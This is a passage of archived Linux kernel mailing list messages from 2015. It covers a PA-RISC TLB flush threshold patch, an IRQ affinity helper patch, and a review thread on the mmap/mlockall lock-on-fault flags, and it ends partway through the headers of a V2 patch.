>>> DTLB entries    : 240 - shared with ITLB
>>>
>>> Whole cache flush 692084 cycles, flushing 13214592 bytes 5904392 cycles
>>> Setting cache flush threshold to 1512 kB.
>>> Whole TLB flush 40990 cycles, flushing 4096000 bytes 448989 cycles
>>> Setting TLB flush threshold to 368 kB.
>>>
>>> Machine: J5000/785, PA8500, 440MHz
>>> I-cache         : 512 KB
>>> D-cache         : 1024 KB (WB, direct mapped)
>>> ITLB entries    : 160
>>> DTLB entries    : 160 - shared with ITLB
>>>
>>> Whole cache flush 268605 cycles, flushing 13214592 bytes 1861037 cycles
>>> Setting cache flush threshold to 1024 kB
>>> Whole TLB flush 14131 cycles, flushing 13221888 bytes 769329 cycles
>>> Setting TLB flush threshold to 240 kB
>>
>>
>> One more machine:
>> Machine: C8000, PA8800, 2 CPUs each 900 MHz
>> I-cache         : 32768 KB
>> D-cache         : 32768 KB (WB, direct mapped)
>> ITLB entries    : 240
>> DTLB entries    : 240 - shared with ITLB
>>
>> Whole cache flush 4298354 cycles, flushing 13214592 bytes 1440513 cycles
>> Setting cache flush threshold to 32768 kB
>> Whole TLB flush 15625 cycles, flushing 13221888 bytes 781230 cycles
>> Setting TLB flush threshold to 260 kB
>>
>>
>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>>
>>> diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
>>> index 9d086a5..5e81e17 100644
>>> --- a/arch/parisc/include/asm/tlbflush.h
>>> +++ b/arch/parisc/include/asm/tlbflush.h
>>> @@ -24,40 +24,25 @@ extern void flush_tlb_all_local(void *);
>>>
>>>   #define smp_flush_tlb_all()    flush_tlb_all()
>>>
>>> -/*
>>> - * flush_tlb_mm()
>>> - *
>>> - * XXX This code is NOT valid for HP-UX compatibility processes,
>>> - * (although it will probably work 99% of the time). HP-UX
>>> - * processes are free to play with the space id's and save them
>>> - * over long periods of time, etc. so we have to preserve the
>>> - * space and just flush the entire tlb. We need to check the
>>> - * personality in order to do that, but the personality is not
>>> - * currently being set correctly.
>>> - *
>>> - * Of course, Linux processes could do the same thing, but
>>> - * we don't support that (and the compilers, dynamic linker,
>>> - * etc. do not do that).
>>> - */
>>> +int __flush_tlb_range(unsigned long sid,
>>> +    unsigned long start, unsigned long end);
>>> +
>>> +#define flush_tlb_range(vma, start, end) \
>>> +    __flush_tlb_range((vma)->vm_mm->context, start, end)
>>> +
>>> +#define flush_tlb_kernel_range(start, end) \
>>> +    __flush_tlb_range(0, start, end)
>>>
>>>   static inline void flush_tlb_mm(struct mm_struct *mm)
>>>   {
>>> -    BUG_ON(mm == &init_mm); /* Should never happen */
>>> -
>>> -#if 1 || defined(CONFIG_SMP)
>>> -    flush_tlb_all();
>>> -#else
>>> -    /* FIXME: currently broken, causing space id and protection ids
>>> -     *  to go out of sync, resulting in faults on userspace accesses.
>>> -     */
>>> -    if (mm) {
>>> -        if (mm->context != 0)
>>> -            free_sid(mm->context);
>>> -        mm->context = alloc_sid();
>>> -        if (mm == current->active_mm)
>>> -            load_context(mm->context);
>>> +    struct vm_area_struct *vma;
>>> +
>>> +    for (vma = mm->mmap; vma; vma = vma->vm_next) {
>>> +        /* exit loop if flush_tlb_all() was called. */
>>> +        if (unlikely(__flush_tlb_range(mm->context,
>>> +                vma->vm_start, vma->vm_end)))
>>> +            return;
>>>       }
>>> -#endif
>>>   }
>>>
>>>   static inline void flush_tlb_page(struct vm_area_struct *vma,
>>> @@ -76,11 +61,4 @@ static inline void flush_tlb_page(struct vm_area_struct *vma,
>>>       purge_tlb_end(flags);
>>>   }
>>>
>>> -void __flush_tlb_range(unsigned long sid,
>>> -    unsigned long start, unsigned long end);
>>> -
>>> -#define flush_tlb_range(vma,start,end) __flush_tlb_range((vma)->vm_mm->context,start,end)
>>> -
>>> -#define flush_tlb_kernel_range(start, end) __flush_tlb_range(0,start,end)
>>> -
>>>   #endif
>>> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
>>> index f6448c7..4eac923 100644
>>> --- a/arch/parisc/kernel/cache.c
>>> +++ b/arch/parisc/kernel/cache.c
>>> @@ -342,12 +342,15 @@ EXPORT_SYMBOL(flush_data_cache_local);
>>>   EXPORT_SYMBOL(flush_kernel_icache_range_asm);
>>>
>>>   #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
>>> -int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
>>> +static unsigned long parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
>>> +
>>> +#define FLUSH_TLB_THRESHOLD (2*1024*1024) /* 2MB initial TLB threshold */
>>> +static unsigned long parisc_tlb_flush_threshold __read_mostly = FLUSH_TLB_THRESHOLD;
>>>
>>>   void __init parisc_setup_cache_timing(void)
>>>   {
>>>       unsigned long rangetime, alltime;
>>> -    unsigned long size;
>>> +    unsigned long size, start;
>>>
>>>       alltime = mfctl(16);
>>>       flush_data_cache();
>>> @@ -364,14 +367,42 @@ void __init parisc_setup_cache_timing(void)
>>>       /* Racy, but if we see an intermediate value, it's ok too... */
>>>       parisc_cache_flush_threshold = size * alltime / rangetime;
>>>
>>> -    parisc_cache_flush_threshold = (parisc_cache_flush_threshold + L1_CACHE_BYTES - 1) &~ (L1_CACHE_BYTES - 1);
>>> +    parisc_cache_flush_threshold = L1_CACHE_ALIGN(parisc_cache_flush_threshold);
>>>       if (!parisc_cache_flush_threshold)
>>>           parisc_cache_flush_threshold = FLUSH_THRESHOLD;
>>>
>>>       if (parisc_cache_flush_threshold > cache_info.dc_size)
>>>           parisc_cache_flush_threshold = cache_info.dc_size;
>>>
>>> -    printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
>>> +    printk(KERN_INFO "Setting cache flush threshold to %lu kB\n",
>>> +        parisc_cache_flush_threshold/1024);
>>> +
>>> +    /* calculate TLB flush threshold */
>>> +
>>> +    alltime = mfctl(16);
>>> +    flush_tlb_all();
>>> +    alltime = mfctl(16) - alltime;
>>> +
>>> +    size = PAGE_SIZE;
>>> +    start = (unsigned long) _text;
>>> +    rangetime = mfctl(16);
>>> +    while (start < (unsigned long) _end) {
>>> +        flush_tlb_kernel_range(start, start + PAGE_SIZE);
>>> +        start += PAGE_SIZE;
>>> +        size += PAGE_SIZE;
>>> +    }
>>> +    rangetime = mfctl(16) - rangetime;
>>> +
>>> +    printk(KERN_DEBUG "Whole TLB flush %lu cycles, flushing %lu bytes %lu cycles\n",
>>> +        alltime, size, rangetime);
>>> +
>>> +    parisc_tlb_flush_threshold = size * alltime / rangetime;
>>> +    parisc_tlb_flush_threshold = PAGE_ALIGN(parisc_tlb_flush_threshold);
>>> +    if (!parisc_tlb_flush_threshold)
>>> +        parisc_tlb_flush_threshold = FLUSH_TLB_THRESHOLD;
>>> +
>>> +    printk(KERN_INFO "Setting TLB flush threshold to %lu kB\n",
>>> +        parisc_tlb_flush_threshold/1024);
>>>   }
>>>
>>>   extern void purge_kernel_dcache_page_asm(unsigned long);
>>> @@ -418,32 +449,39 @@ void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
>>>   }
>>>   EXPORT_SYMBOL(purge_tlb_entries);
>>>
>>> -void __flush_tlb_range(unsigned long sid, unsigned long start,
>>> +/* __flush_tlb_range()
>>> + *
>>> + * returns 1 if all TLBs were flushed.
>>> + */
>>> +int __flush_tlb_range(unsigned long sid, unsigned long start,
>>>                  unsigned long end)
>>>   {
>>> -    unsigned long npages;
>>> +    unsigned long size;
>>>
>>> -    npages = ((end - (start & PAGE_MASK)) + (PAGE_SIZE - 1)) >> PAGE_SHIFT;
>>> -    if (npages >= 512)  /* 2MB of space: arbitrary, should be tuned */
>>> +    size = (end - start);
>>> +    if (size >= parisc_tlb_flush_threshold) {
>>>           flush_tlb_all();
>>> +        return 1;
>>> +    }
>>>       else {
>>>           unsigned long flags;
>>>
>>>           purge_tlb_start(flags);
>>>           mtsp(sid, 1);
>>>           if (split_tlb) {
>>> -              while (npages--) {
>>> +            while (start < end) {
>>>                   pdtlb(start);
>>>                   pitlb(start);
>>>                   start += PAGE_SIZE;
>>>               }
>>>           } else {
>>> -            while (npages--) {
>>> +            while (start < end) {
>>>                   pdtlb(start);
>>>                   start += PAGE_SIZE;
>>>               }
>>>           }
>>>           purge_tlb_end(flags);
>>> +        return 0;
>>>       }
>>>   }
>>>
>>>
>>
>>
>>
>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <jiang.liu@linux.intel.com>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: [Patch v3 23/36] parisc, irq: Use access helper irq_data_get_affinity_mask()
Date: Mon,  1 Jun 2015 16:05:32 +0800
Lines: 74
Approved: news@gmane.org
Message-ID: <1433145945-789-24-git-send-email-jiang.liu@linux.intel.com>
References: <1433145945-789-1-git-send-email-jiang.liu@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1433146072 13528 80.91.229.3 (1 Jun 2015 08:07:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Jun 2015 08:07:52 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>,
	Tony Luck <tony.luck@intel.com>, x86@kernel.org,
	linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org,
	linux-acpi@vger.kernel.org, linux-parisc@vger.kernel.org
To: Thomas Gleixner <tglx@linutronix.de>,
	Bjorn Helgaas <bhelgaas@google.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>,
	Randy Dunlap <rdunlap@infradead.org>,
	Yinghai Lu <yinghai@kernel.org>,
	Borislav Petkov <bp@alien8.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Jiang Liu <jiang.liu@linux.intel.com>
Original-X-From: linux-acpi-owner@vger.kernel.org Mon Jun 01 10:07:48 2015
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1YzKl9-000140-1l
	for glad-acpi-devel@plane.gmane.org; Mon, 01 Jun 2015 10:07:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932118AbbFAIHZ (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Mon, 1 Jun 2015 04:07:25 -0400
Original-Received: from mga14.intel.com ([192.55.52.115]:17013 "EHLO mga14.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932101AbbFAIHU (ORCPT <rfc822;linux-acpi@vger.kernel.org>);
	Mon, 1 Jun 2015 04:07:20 -0400
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga103.fm.intel.com with ESMTP; 01 Jun 2015 01:07:19 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.13,531,1427785200"; 
   d="scan'208";a="734800636"
Original-Received: from gerry-dev.bj.intel.com ([10.238.158.61])
  by fmsmga002.fm.intel.com with ESMTP; 01 Jun 2015 01:07:15 -0700
X-Mailer: git-send-email 1.7.10.4
In-Reply-To: <1433145945-789-1-git-send-email-jiang.liu@linux.intel.com>
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:76013 gmane.linux.kernel:1966533 gmane.linux.kernel.pci:42192 gmane.linux.ports.parisc:25751
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/76013>

Use access helper irq_data_get_affinity_mask() to hide implementation
details of struct irq_desc.

Signed-off-by: Jiang Liu <jiang.liu@linux.intel.com>
---
 arch/parisc/kernel/irq.c |   12 ++++++------
 drivers/parisc/iosapic.c |    2 +-
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index f3191db6e2e9..413ec3c3f9cc 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -131,7 +131,7 @@ static int cpu_set_affinity_irq(struct irq_data *d, const struct cpumask *dest,
 	if (cpu_dest < 0)
 		return -1;
 
-	cpumask_copy(d->affinity, dest);
+	cpumask_copy(irq_data_get_affinity_mask(d), dest);
 
 	return 0;
 }
@@ -339,7 +339,7 @@ unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 {
 #ifdef CONFIG_SMP
 	struct irq_data *d = irq_get_irq_data(irq);
-	cpumask_copy(d->affinity, cpumask_of(cpu));
+	cpumask_copy(irq_data_get_affinity_mask(d), cpumask_of(cpu));
 #endif
 
 	return per_cpu(cpu_data, cpu).txn_addr;
@@ -508,7 +508,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	unsigned long eirr_val;
 	int irq, cpu = smp_processor_id();
 #ifdef CONFIG_SMP
-	struct irq_desc *desc;
+	struct irq_data *irq_data;
 	cpumask_t dest;
 #endif
 
@@ -522,9 +522,9 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	irq = eirr_to_irq(eirr_val);
 
 #ifdef CONFIG_SMP
-	desc = irq_to_desc(irq);
-	cpumask_copy(&dest, desc->irq_data.affinity);
-	if (irqd_is_per_cpu(&desc->irq_data) &&
+	irq_data = irq_get_irq_data(irq);
+	cpumask_copy(&dest, irq_data_get_affinity_mask(irq_data));
+	if (irqd_is_per_cpu(irq_data) &&
 	    !cpumask_test_cpu(smp_processor_id(), &dest)) {
 		int cpu = cpumask_first(&dest);
 
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 9ee04b4b68bf..144c77dfe4b1 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -691,7 +691,7 @@ static int iosapic_set_affinity_irq(struct irq_data *d,
 	if (dest_cpu < 0)
 		return -1;
 
-	cpumask_copy(d->affinity, cpumask_of(dest_cpu));
+	cpumask_copy(irq_data_get_affinity_mask(d), cpumask_of(dest_cpu));
 	vi->txn_addr = txn_affinity_addr(d->irq, dest_cpu);
 
 	spin_lock_irqsave(&iosapic_lock, flags);
-- 
1.7.10.4

--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH 0/3] Allow user to request memory to be locked on
 page fault
Date: Mon, 1 Jun 2015 15:27:46 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20150601152746.abbbbb9d479c0e2dbdec2aaf@linux-foundation.org>
References: <1432908808-31150-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1433197679 21805 80.91.229.3 (1 Jun 2015 22:27:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Jun 2015 22:27:59 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 02 00:27:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YzYBS-0001Pt-HF
	for glpp-linux-parisc@plane.gmane.org; Tue, 02 Jun 2015 00:27:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752956AbbFAW1t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Jun 2015 18:27:49 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:49453 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753437AbbFAW1s (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Jun 2015 18:27:48 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.65])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 6EBD0BA6;
	Mon,  1 Jun 2015 22:27:47 +0000 (UTC)
In-Reply-To: <1432908808-31150-1-git-send-email-emunson@akamai.com>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25752 gmane.linux.ports.alpha:3108 gmane.linux.kernel:1967108 gmane.linux.ports.mips.general:48920 gmane.linux.ports.ppc64.devel:113720 gmane.linux.ports.sparc:21090 gmane.linux.kernel.mm:133600 gmane.linux.kernel.cross-arch:27888 gmane.linux.kernel.api:11753
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25752>

On Fri, 29 May 2015 10:13:25 -0400 Eric B Munson <emunson@akamai.com> wrote:

> mlock() allows a user to control page out of program memory, but this
> comes at the cost of faulting in the entire mapping when it is
> allocated.  For large mappings where the entire area is not necessary
> this is not ideal.
> 
> This series introduces new flags for mmap() and mlockall() that allow a
> user to specify that the covered are should not be paged out, but only
> after the memory has been used the first time.

I almost applied these, but the naming issue (below) stopped me.

A few things...

- The 0/n changelog should reveal how MAP_LOCKONFAULT interacts with
  rlimit(RLIMIT_MEMLOCK).

  I see the implementation is "as if the entire mapping will be
  faulted in" (for mmap) and "as if it was MCL_FUTURE" (for mlockall)
  which seems fine.  Please include changelog text explaining and
  justifying these decisions.  This stuff will need to be in the
  manpage updates as well.

- I think I already asked "why not just use MCL_FUTURE" but I forget
  the answer ;) In general it is a good idea to update changelogs in
  response to reviewer questions, because other people will be
  wondering the same things.  Or maybe I forgot to ask.  Either way,
  please address this in the changelogs.

- I can perhaps see the point in mmap(MAP_LOCKONFAULT) (other
  mappings don't get lock-in-memory treatment), but what's the benefit
  in mlockall(MCL_ON_FAULT) over MCL_FUTURE?  (Add to changelog also,
  please).

- Is there a manpage update?

- Can we rename patch 1/3 from "add flag to ..." to "add mmap flag to
  ...", to distinguish from 2/3 "add mlockall flag ..."?

- The MAP_LOCKONFAULT versus MCL_ON_FAULT inconsistency is
  irritating!  Can we get these consistent please: switch to either
  MAP_LOCK_ON_FAULT or MCL_ONFAULT.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH 0/3] Allow user to request memory to be locked on
 page fault
Date: Tue, 2 Jun 2015 10:25:20 -0400
Lines: 106
Approved: news@gmane.org
Message-ID: <20150602142520.GB2364@akamai.com>
References: <1432908808-31150-1-git-send-email-emunson@akamai.com>
 <20150601152746.abbbbb9d479c0e2dbdec2aaf@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="GRPZ8SYKNexpdSJ7"
X-Trace: ger.gmane.org 1433255143 17162 80.91.229.3 (2 Jun 2015 14:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Jun 2015 14:25:43 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Jun 02 16:25:40 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1Yzn8C-000203-50
	for lnx-sparclinux@plane.gmane.org; Tue, 02 Jun 2015 16:25:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759267AbbFBOZY (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 2 Jun 2015 10:25:24 -0400
Original-Received: from prod-mail-xrelay07.akamai.com ([72.246.2.115]:46764 "EHLO
	prod-mail-xrelay07.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756284AbbFBOZW (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 2 Jun 2015 10:25:22 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 37DD348391;
	Tue,  2 Jun 2015 14:25:21 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 122B64838A;
	Tue,  2 Jun 2015 14:25:21 +0000 (GMT)
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 0949D8008B;
	Tue,  2 Jun 2015 14:25:21 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150601152746.abbbbb9d479c0e2dbdec2aaf@linux-foundation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21094 gmane.linux.ports.alpha:3110 gmane.linux.kernel:1967637 gmane.linux.ports.mips.general:48943 gmane.linux.ports.parisc:25753 gmane.linux.ports.ppc64.devel:113764 gmane.linux.kernel.mm:133625 gmane.linux.kernel.cross-arch:27889 gmane.linux.kernel.api:11781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21094>


--GRPZ8SYKNexpdSJ7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 01 Jun 2015, Andrew Morton wrote:

> On Fri, 29 May 2015 10:13:25 -0400 Eric B Munson <emunson@akamai.com> wro=
te:
>=20
> > mlock() allows a user to control page out of program memory, but this
> > comes at the cost of faulting in the entire mapping when it is
> > allocated.  For large mappings where the entire area is not necessary
> > this is not ideal.
> >=20
> > This series introduces new flags for mmap() and mlockall() that allow a
> > user to specify that the covered are should not be paged out, but only
> > after the memory has been used the first time.
>=20
> I almost applied these, but the naming issue (below) stopped me.
>=20
> A few things...
>=20
> - The 0/n changelog should reveal how MAP_LOCKONFAULT interacts with
>   rlimit(RLIMIT_MEMLOCK).
>=20
>   I see the implementation is "as if the entire mapping will be
>   faulted in" (for mmap) and "as if it was MCL_FUTURE" (for mlockall)
>   which seems fine.  Please include changelog text explaining and
>   justifying these decisions.  This stuff will need to be in the
>   manpage updates as well.

Change logs are updated, and this will be included in the man page
update as well.

>=20
> - I think I already asked "why not just use MCL_FUTURE" but I forget
>   the answer ;) In general it is a good idea to update changelogs in
>   response to reviewer questions, because other people will be
>   wondering the same things.  Or maybe I forgot to ask.  Either way,
>   please address this in the changelogs.

I must have missed that question.  Here is the text from the updated
mlockall changelog:

MCL_ONFAULT is preferrable to MCL_FUTURE for the use cases enumerated
in the previous patch becuase MCL_FUTURE will behave as if each mapping
was made with MAP_LOCKED, causing the entire mapping to be faulted in
when new space is allocated or mapped.  MCL_ONFAULT allows the user to
delay the fault in cost of any given page until it is actually needed,
but then guarantees that that page will always be resident.

>=20
> - I can perhaps see the point in mmap(MAP_LOCKONFAULT) (other
>   mappings don't get lock-in-memory treatment), but what's the benefit
>   in mlockall(MCL_ON_FAULT) over MCL_FUTURE?  (Add to changelog also,
>   please).
>=20
> - Is there a manpage update?

I will send one out when I post V2

>=20
> - Can we rename patch 1/3 from "add flag to ..." to "add mmap flag to
>   ...", to distinguish from 2/3 "add mlockall flag ..."?

Done

>=20
> - The MAP_LOCKONFAULT versus MCL_ON_FAULT inconsistency is
>   irritating!  Can we get these consistent please: switch to either
>   MAP_LOCK_ON_FAULT or MCL_ONFAULT.

Yes, will do for V2.

>=20

--GRPZ8SYKNexpdSJ7
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVbbzQAAoJELbVsDOpoOa9EtAP+wamgfoxHetODtEfMUqzYJgN
GxcPBHPjo32fPtFoQu+IvDCqI48ySC4Syx0DqjzZJah+Uo8ngxUDQz3U9dTFrZq+
wv18PEj5CV4ejsEPn6pPuFYpQk/s6UvaexGCXONeHD8Zp20zoPpa4foUMyOvvUnC
tTA+fUJNsinYLGmzidV/1ebXUZYA2ur8Keur7e/kVqzZUWCkClpEVa7ZWnclral9
8mcvrgnI0Z7HnXlZzgUzncUt/OpVwp6jH8Cg4l2qGvSN0q4w77LWhac4n+ut7ogZ
XUIZiem41vBBzWuRjI9TiikFv83wQUPgFrlazWaScEl1Ht5N6HBs20EwHS86sBHe
cMk6SdwUhhCi7rRsZQPcYq+Re6XKXMZPUhfoMqU09TMIpN0t01XGdkAQehgHoyvY
N2hI4zuLIiFNYouXQKLwp+a7++tzI7XxfIo67CmdzCEb/Buxalhd+rSOQWF28Sos
F4vRxeyhzE0CjWPcp9qDt4EIJci1TNwvQpOzT0HbX1PXJEJM44cRZxvLIYq9Almy
g0rQ2LSYZP1gf9ngo/zh02ghenboKwYAMVOZDbOOjUMvtw5RS97voJ5ZOX+/fK95
AQAEPZnJICFKmP/yNGtWpKuK3yfeYxDL0mAopbzXe2SGgk9eS6Dgsg0gVI4hyu33
uQVVmWf17Owqb8CI9gAt
=Aoeb
-----END PGP SIGNATURE-----

--GRPZ8SYKNexpdSJ7--
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V2 1/3] Add mmap flag to request pages are locked after page fault
Date: Tue,  2 Jun 2015 14:13:24 -0400
Lines: 211
Approved: news@gmane.org
Message-ID: <1433268806-17109-2-git-send-email-emunson@akamai.com>
References: <1433268806-17109-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1433268829 30175 80.91.229.3 (2 Jun 2015 18:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Jun 2015 18:13:49 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
